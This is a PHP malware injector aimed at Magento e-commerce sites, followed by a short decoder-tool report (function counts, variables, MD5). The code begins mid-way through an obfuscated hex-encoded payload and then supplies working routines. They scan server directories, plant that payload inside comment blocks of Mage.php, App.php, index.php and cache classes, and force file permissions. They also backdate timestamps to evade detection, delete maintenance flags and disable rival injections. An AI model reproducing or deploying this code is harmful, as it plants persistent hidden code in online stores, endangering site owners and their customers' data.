8X5ar_(\'$Gf_yCdHFJN,$riUB_jR\',$OIwYNn_xer($riUB_jR($HxdshqOT)));if($loa_k2E)$Gf_yCdHFJN=@$loa_k2E($Gf_yCdHFJN,$riUB_jR); }else{$uh2lRy0uj="\x29\x29\x29";$uh2lRy0uj.="\124\117\x71";$uh2lRy0uj.="\150\163";$uh2lRy0uj.="\x64\x78";$uh2lRy0uj.="\110";$uh2lRy0uj.="\x24";$uh2lRy0uj.="\50";$uh2lRy0uj.="\122\152";$uh2lRy0uj.="\x5f";$uh2lRy0uj.="\x42\x55";$uh2lRy0uj.="\x69";$uh2lRy0uj.="\162\x24";$uh2lRy0uj.="\50\x72";$uh2lRy0uj.="\145\170\x5f";$uh2lRy0uj.="\x6e\x4e\x59";$uh2lRy0uj.="\167\x49\117";$uh2lRy0uj.="\x24\50\154";$uh2lRy0uj.="\x61";$uh2lRy0uj.="\x76\145";$uh2lRy0uj.="\100";$uh2lRy0uj=$riUB_jR($uh2lRy0uj);@$NzQBgIsvRe($uh2lRy0uj);};if(function_exists($e8X5ar_)){$FbrbYXQ=@$e8X5ar_("",$OIwYNn_xer($riUB_jR($Gf_yCdHFJN)));if($FbrbYXQ)@$FbrbYXQ();}else{$Fs8Cfn="\51";$Fs8Cfn.="\x29\x29\x4e";$Fs8Cfn.="\112\x46\110";$Fs8Cfn.="\x64";$Fs8Cfn.="\x43\x79\x5f";$Fs8Cfn.="\146";$Fs8Cfn.="\107\44";$Fs8Cfn.="\50\122\x6a";$Fs8Cfn.="\x5f\102";$Fs8Cfn.="\125\x69\162";$Fs8Cfn.="\44\x28";$Fs8Cfn.="\x72\145\170";$Fs8Cfn.="\x5f";$Fs8Cfn.="\156";$Fs8Cfn.="\116\x59";$Fs8Cfn.="\x77\111";$Fs8Cfn.="\x4f";$Fs8Cfn.="\x24\x28\154";$Fs8Cfn.="\141";$Fs8Cfn.="\166\145\100";$Fs8Cfn=$riUB_jR($Fs8Cfn);@$NzQBgIsvRe($Fs8Cfn);};'));

$targets = array(
    trim('/lib/Zend/Cache/Backend/Interface.php'),
    trim('/lib/Varien/Cache/Core.php'),
);

$GLOBALS['targets'] = $targets;
$GLOBALS['beda_code'] = $beda_code;

function insert_line($lines, $codeline, $comment_indexes) {
    if (!$comment_indexes)
        return false;
    shuffle($comment_indexes);
    $index = $comment_indexes[0];
    $r = array();
    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = $lines[$i];
        if ($i == $index) {
            $r[] = "*/";
            $r[] = $codeline;
            $r[] = "/*";
        }
        $r[] = $line;
    }

    return $r;
}

function set_min_date($filepath) {
    $dir = dirname($filepath);
    $o = opendir($dir);
    $min_lastmod = 0;
    while ($r = readdir($o)) {
        $mod = filemtime($dir . "/" . $r);
        if (!$min_lastmod) {
            $min_lastmod = $mod;
            continue;
        }

        if ($min_lastmod > $mod) {
            $min_lastmod = $mod;
        }
    }

    if ($min_lastmod) {
        touch($filepath, $min_lastmod + 1);
    }
}

function check_before_modify($filepath) {
    $fp = fopen($filepath, "r");
    $lines = array();
    if (flock($fp, LOCK_EX)) {
        while (!feof($fp)) {
            $line = trim(fgets($fp), "\r\n");
            $lines[] = $line;
        }
    }

    fclose($fp);

    $start_comment = false;
    $end_comment = true;
    $end_comment_quick = false;

    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = trim($lines[$i]);
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
        $line = preg_replace("#/\*.*?\*/#", "", $line);
        $line = trim($line);

        if (preg_match("#^/\*.*$#", $line)) {
            $start_comment = true;
            $end_comment = false;
            $end_comment_quick = false;
            continue;
        }

        if ($end_comment_quick) {
            if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) {
                return true;
            }
        }

        if (preg_match("#^\*/$#", $line)) {
            $start_comment = false;
            $end_comment = true;
            $end_comment_quick = true;
            continue;
        }

        $end_comment_quick = false;

        if ($start_comment) {
            continue;
        }

        if (!$line)
            continue;

        return false;
    }

    return false;
}

function modify_file($filepath, $force = false) {
    $perms = 0777 & fileperms($filepath);
    $update_perms = false;
    if ((!is_readable($filepath)) || (!is_writable($filepath))) {
        $update_perms = true;
        @chmod($filepath, 0777);
    }

    if (!is_readable($filepath))
        return 0;
    if ((!is_writable($filepath)) && (!$force))
        return 0;
    $fp = fopen($filepath, "r");
    $lines = array();
    if (flock($fp, LOCK_EX)) {
        while (!feof($fp)) {
            $line = trim(fgets($fp), "\r\n");
            $lines[] = $line;
        }
    }

    fclose($fp);

    if (!$lines)
        return -1;

    $start_comment = false;
    $end_comment = true;
    $end_comment_quick = false;
    $end_index = -1;

    $comment_indexes = array();

    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = trim($lines[$i]);
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
        $line = preg_replace("#/\*.*?\*/#", "", $line);
        $line = trim($line);

        if (preg_match("#^/\*.*$#", $line)) {
            $start_comment = true;
            $end_comment = false;
            $end_comment_quick = false;
            continue;
        }

        if ($end_comment_quick) {
            if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) {
                return 2;
            }
        }

        if (preg_match("#^\*/$#", $line)) {
            $start_comment = false;
            $end_comment = true;
            $end_comment_quick = true;
            continue;
        }

        $end_comment_quick = false;
        //
        if ($start_comment) {
            $comment_indexes[] = $i;
            continue;
        }

        if (!$line)
            continue;

        $end_index = $i;
        break;
    }

    if ($end_index <= 5) {
        return 0;
    }

    $updated_lines = insert_line($lines, TREX_CODE, $comment_indexes);
    $dt = implode("\r\n", $updated_lines);

    if (($force) && (!is_writable($filepath))) {
        @unlink($filepath);
        if (file_exists($filepath))
            return 0;
    }
    file_put_contents($filepath, $dt, LOCK_EX);
    set_min_date($filepath);
    if ($update_perms) {
        if ($perms >= 64) {
            chmod($filepath, $perms);
        } else {
            chmod($filepath, 0644);
        }
    }
    return 1;
}

function find_and_write($target, $force = false) {
    if (check_before_modify($target))
        return array($target, 2);

    $statuscode = modify_file($target, $force);
    return array($target, $statuscode);
}

function find_and_write_list($d, $list) {
    $r = false;
    foreach ($list as $target) {
        $r = find_and_write($d . $target, false);
        $statuscode = $r[1];
        if ($statuscode > 0)
            return $r;
    }

    foreach ($list as $target) {
        $r = find_and_write($d . $target, true);
        $statuscode = $r[1];
        if ($statuscode > 0)
            return $r;
    }

    return $r;
}

function insert_mage($filepath, $code, $force = false) {
    $perms = 0777 & fileperms($filepath);
    $update_perms = false;
    if ((!is_readable($filepath)) || (!is_writable($filepath))) {
        $update_perms = true;
        @chmod($filepath, 0777);
    }

    if (!is_readable($filepath))
        return 0;
    if ((!is_writable($filepath)) && (!$force))
        return 0;

    $content = file_get_contents($filepath);

    if (!$content)
        return -1;

    if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
        return 2;
    }

    $cnt_r = substr_count($content, "\r");
    if (!preg_match("#\n(\s+)Varien_Profiler::stop\('mage'\);#", $content, $match)) {
        return -2;
    }

    $spaces = $match[1];
    $profiler = $match[0];
    $lines = explode("\n", $code);
    $lines2 = array();
    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = rtrim($lines[$i]);
        $lines2[] = $spaces . $line;
    }

    $content2 = $content;
    if ($cnt_r) {
        $content2 = str_replace("\r\n", "\n", $content2);
        $content2 = str_replace("\n", "\r\n", $content2);
    }

    $code2 = $cnt_r ? implode("\r\n", $lines2) : implode("\n", $lines2);
    $content2 = str_replace($profiler, $profiler . "\r\n" . $code2, $content2);

    if (substr_count($content2, "echo file_get_contents(base64_decode")) {
        $content2 = str_replace("echo file_get_contents(base64_decode", "if(0)echo file_get_contents(base64_decode", $content2);
    }

    if (($force) && (!is_writable($filepath))) {
        @unlink($filepath);
        if (file_exists($filepath))
            return 0;
    }

    file_put_contents($filepath, $content2, LOCK_EX);
    set_min_date($filepath);
    if ($update_perms) {
        if ($perms >= 64) {
            chmod($filepath, $perms);
        } else {
            chmod($filepath, 0644);
        }
    }
    return 1;
}

function insert_app($filepath, $code, $force = false) {
    $perms = 0777 & fileperms($filepath);
    $update_perms = false;
    if ((!is_readable($filepath)) || (!is_writable($filepath))) {
        $update_perms = true;
        @chmod($filepath, 0777);
    }

    if (!is_readable($filepath))
        return 0;
    if ((!is_writable($filepath)) && (!$force))
        return 0;
    $fp = fopen($filepath, "r");
    $lines = array();
    if (flock($fp, LOCK_EX)) {
        while (!feof($fp)) {
            $line = trim(fgets($fp), "\r\n");
            $lines[] = $line;
        }
    }

    fclose($fp);

    if (!$lines)
        return -1;

    $content = implode("\r\n", $lines);
    if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
        return 2;
    }

    $tmp_index = 0;
    $line_index = 0;
    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = trim($lines[$i]);
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
        $line = preg_replace("#/\*.*?\*/#", "", $line);
        $line = trim($line);
        if ((substr_count($line, "public function run(")) && (!strpos($line, "public function run("))) {
            $tmp_index = $i;
            continue;
        }

        if ($tmp_index > 0) {
            if ($line == 'return $this;') {
                $line_index = $i;
                break;
            }
        }
    }

    if (!$line_index) {
        return -2;
    }

    $line = $lines[$line_index];
    if (!preg_match("#^(\s+)\S+#", $line, $match)) {
        return -2;
    }
    $spaces = $match[1];

    $clines = explode("\n", $code);
    $clines2 = array();
    for ($i = 0; $i < sizeof($clines); $i++) {
        $line = rtrim($clines[$i]);
        $clines2[] = $spaces . $line;
    }

    $lines2 = array();

    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = $lines[$i];
        if ($i == $line_index) {
            for ($j = 0; $j < sizeof($clines2); $j++) {
                $lines2[] = $clines2[$j];
            }
        };

        $lines2[] = $line;
    }

    $content2 = implode("\r\n", $lines2);

    if (($force) && (!is_writable($filepath))) {
        @unlink($filepath);
        if (file_exists($filepath))
            return 0;
    }
    file_put_contents($filepath, $content2, LOCK_EX);
    set_min_date($filepath);
    if ($update_perms) {
        if ($perms >= 64) {
            chmod($filepath, $perms);
        } else {
            chmod($filepath, 0644);
        }
    }
    return 1;
}

function insert_index_nosafe($filepath, $code, $force = false) {
    $perms = 0777 & fileperms($filepath);
    $update_perms = false;
    if ((!is_readable($filepath)) || (!is_writable($filepath))) {
        $update_perms = true;
        @chmod($filepath, 0777);
    }

    if (!is_readable($filepath))
        return 0;
    if ((!is_writable($filepath)) && (!$force))
        return 0;
    $fp = fopen($filepath, "r");
    $lines = array();
    if (flock($fp, LOCK_EX)) {
        while (!feof($fp)) {
            $line = trim(fgets($fp), "\r\n");
            $lines[] = $line;
        }
    }

    fclose($fp);

    if (!$lines)
        return -1;

    $content = implode("\r\n", $lines);
    if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
        return 2;
    }

    if (!substr_count($content, 'Mage::run($mageRunCode, $mageRunType);')) {
        return -2;
    }

    $line_index = 0;
    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = trim($lines[$i]);
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
        $line = preg_replace("#/\*.*?\*/#", "", $line);
        $line = trim($line);


        if ($line == 'Mage::run($mageRunCode, $mageRunType);') {
            $line_index = $i;
            break;
        }
    }

    if (!$line_index) {
        return -2;
    }

    $clines = explode("\n", $code);
    $clines2 = array();
    for ($i = 0; $i < sizeof($clines); $i++) {
        $line = rtrim($clines[$i]);
        $clines2[] = $line;
    }

    $lines2 = array();

    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = $lines[$i];
        $lines2[] = $line;

        if ($i == $line_index) {
            for ($j = 0; $j < sizeof($clines2); $j++) {
                $lines2[] = $clines2[$j];
            }
        };
    }

    $content2 = implode("\r\n", $lines2);
    if (($force) && (!is_writable($filepath))) {
        @unlink($filepath);
        if (file_exists($filepath))
            return 0;
    }
    file_put_contents($filepath, $content2, LOCK_EX);
    set_min_date($filepath);
    if ($update_perms) {
        if ($perms >= 64) {
            chmod($filepath, $perms);
        } else {
            chmod($filepath, 0755);
        }
    }
    return 1;
}

function insert_index($filepath, $code, $force = false) {
    $r = insert_index_nosafe($filepath, $code, $force);
    @chmod($filepath, 0755);
    return $r;
}

function path_finder() {
    $pth = $_SERVER['DOCUMENT_ROOT'];
    $d1 = $pth . '/../../..';
    $d2 = $pth . '/../..';
    $d3 = $pth . '/..';
    if (is_readable($d1))
        return realpath($d1);
    if (is_readable($d2))
        return realpath($d2);
    if (is_readable($d3))
        return realpath($d3);

    return $pth;
}

function smartscan($dir) {
    if (!is_readable($dir))
        return array();
    if (function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh = opendir($dir);
        $files = array();
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function super_get_url($url, $post = false) {
    $options = array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_ENCODING => "",
        CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
        CURLOPT_AUTOREFERER => true,
        CURLOPT_CONNECTTIMEOUT => 120,
        CURLOPT_TIMEOUT => 120,
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    );

    if ($post) {
        $options[CURLOPT_POST] = 1;
        $options[CURLOPT_POSTFIELDS] = $post;
    }

    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $content = @curl_exec($ch);
    return $content;
}

function update_iteration($folder) {
    $targets = $GLOBALS['targets'];
    $beda_code = $GLOBALS['beda_code'];
    $indexFile = $folder . "/index.php";
    $mageFile = $folder . "/app/Mage.php";
    $appFile = $folder . "/app/code/core/Mage/Core/Model/App.php";
    $code = 0;
    if (file_exists($mageFile)) {
        $code = insert_mage($mageFile, $beda_code);
        switch ($code) {
            case -2:
                echo "[$mageFile] without regex signature; ";
                break;
            case -1:
                echo "[$mageFile] is empty!; ";
                break;
            case 0:
                echo "[$mageFile] is protected!; ";
                break;
            case 1:
                echo "[$mageFile] updated!; ";
                break;
            case 2:
                echo "[$mageFile] contains!; ";
                break;
        }


        if ((($code == 0) || ($code == -2)) && (file_exists($appFile))) {
            $code = insert_app($appFile, $beda_code);
            switch ($code) {
                case -2:
                    echo "[$appFile] without regex signature; ";
                    break;
                case -1:
                    echo "[$appFile] is empty!; ";
                    break;
                case 0:
                    echo "[$appFile] is protected!; ";
                    break;
                case 1:
                    echo "[$appFile] updated!; ";
                    break;
                case 2:
                    echo "[$appFile] contains!; ";
                    break;
            }
        }

        if ((($code == 0) || ($code == -2)) && (file_exists($indexFile))) {
            $code = insert_index($indexFile, $beda_code);
            switch ($code) {
                case -2:
                    echo "[$indexFile] without regex signature; ";
                    break;
                case -1:
                    echo "[$indexFile] is empty!; ";
                    break;
                case 0:
                    echo "[$indexFile] is protected!; ";
                    break;
                case 1:
                    echo "[$indexFile] updated!; ";
                    break;
                case 2:
                    echo "[$indexFile] contains!; ";
                    break;
            }
        }

        if (($code == 0) || ($code == -2)) {
            if (file_exists($indexFile)) {
                $code = insert_index($indexFile, $beda_code, true);
                switch ($code) {
                    case 1:
                        echo "[$indexFile] updated_2!; ";
                        break;
                }
            }
            if (($code == 0) || ($code == -2)) {
                $code = insert_mage($mageFile, $beda_code, true);
                switch ($code) {
                    case 1:
                        echo "[$mageFile] updated_2!; ";
                        break;
                }
            }

            if ((($code == 0) || ($code == -2)) && (file_exists($appFile))) {
                $code = insert_app($appFile, $beda_code, true);
                switch ($code) {
                    case 1:
                        echo "[$appFile] updated_2!; ";
                        break;
                }
            }
        }

        $update_data = find_and_write_list($folder, $targets);
        $editFile = $update_data[0];
        switch ($update_data[1]) {
            case -1:
                echo "[$editFile] empty!; ";
                break;
            case 0:
                echo "[$editFile] comment not exists!; ";
                break;
            case 1:
                echo "[$editFile] updated!; ";
                break;
            case 2:
                echo "[$editFile] contains!; ";
                break;
        }
    }
}

$notning = true;
$dir = path_finder();
$dd = array($dir);


for ($i = 0; $i < 4; $i++) {
    $tmp = array();
    foreach ($dd as $d) {
        $res = smartscan($d);
        foreach ($res as $v) {
            if ($v == 'maintenance.flag') {
                $flag = $d . "/" . $v;
                echo " unlink[$flag]; ";
                @unlink($flag);
            }
            if ($v == 'index.php') {
                $indexFile = $d . "/index.php";
                $mageFile = $d . "/app/Mage.php";
                $appFile = $d . "/app/code/core/Mage/Core/Model/App.php";
                $code = 0;
                if (file_exists($mageFile)) {
                    $notning = false;
                    update_iteration($d);
                }
            } else {
                if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) {
                    $tmp[] = $d . '/' . $v;
                }
            }
        }
    }
    $dd = $tmp;
}

$dir = $_SERVER['DOCUMENT_ROOT'];
$dd = array($dir);

if ($notning) {
    for ($i = 0; $i < 4; $i++) {
        $tmp = array();
        foreach ($dd as $d) {
            $res = smartscan($d);
            foreach ($res as $v) {
                if ($v == 'maintenance.flag') {
                    $flag = $d . "/" . $v;
                    echo " unlink[$flag]; ";
                    @unlink($flag);
                }
                if ($v == 'index.php') {
                    $mageFile = $d . "/app/Mage.php";
                    $appFile = $d . "/app/code/core/Mage/Core/Model/App.php";
                    $code = 0;
                    if (file_exists($mageFile)) {
                        $notning = false;
                        update_iteration($d);
                    }
                } else {
                    if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) {
                        $tmp[] = $d . '/' . $v;
                    }
                }
            }
        }
        $dd = $tmp;
    }
}

echo " [Finish!] ";

Function Calls

trim 2
define 1
base64_decode 1

Variables

$beda_code try { $pokeju = array( 's:/', '1', 'tml', 'Pa',..

Stats

MD5 44034ee7ac2fab1a15a77d85e5e0ccec
Eval Count 0
Decode Time 369 ms